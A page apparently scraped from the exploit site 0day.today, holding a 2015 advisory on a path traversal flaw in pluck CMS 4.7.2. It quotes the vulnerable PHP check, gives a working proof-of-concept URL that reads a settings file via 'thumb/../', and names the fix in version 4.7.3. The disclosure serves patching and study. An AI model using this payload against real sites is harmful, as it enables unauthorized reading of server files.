0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
pluck CMS 4.7.2 Path Traversal Vulnerability
# Exploit Title: pluck CMS 4.7.2 Path Traversal # Date: 21-05-2015 # Software Link: http://www.pluck-cms.org/ # Exploit Author: Kacper Szurek # Contact: http://twitter.com/KacperSzurek # Website: http://security.szurek.pl/ # Category: webapps 1. Description When we use word `thumb` at the begining of `$_GET['image']` it's possible to omit `preg_match()` function. File: data/modules/albums/albums_getimage.php $image = $_GET['image']; //Then, check for hacking attempts (Remote Code Execution), and block them. if (strpos($image, 'thumb') === false) { if (preg_match('#([.*])([/])([A-Za-z0-9.]{0,11})#', $image, $matches)) { if ($image != $matches[0]) { unset($image); die('A hacking attempt has been detected.'); } } } elseif (strpos($image, 'thumb') !== false) { if (preg_match('#([.*])([/])thumb([/])([A-Za-z0-9.]{0,11})#', $image, $matches)) { if ($image != $matches[0]) { unset($image); die('A hacking attempt has been detected.'); } } } //...if no hacking attempts found: //Check if file exists. if (file_exists('../../settings/modules/albums/'.$image)) { //Generate the image, make sure it doesn't end up in the visitors buffer. header('Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0'); header('Expires: Thu, 19 Nov 1981 08:52:00 GMT'); header('Pragma: no-cache'); header('Content-Type: image/jpeg'); echo readfile('../../settings/modules/albums/'.$image); } //If image doesn't exist, send 404 header. else header('HTTP/1.0 404 Not Found'); http://security.szurek.pl/pluck-cms-472-path-traversal.html 2. Proof of Concept http://pluck-url/data/modules/albums/albums_getimage.php?image=thumb/../../../../settings/langpref.php 3. Solution: Update to version 4.7.3 https://github.com/pluck-cms/pluck/archive/4.7.3.zip # 0day.today [2024-11-15] #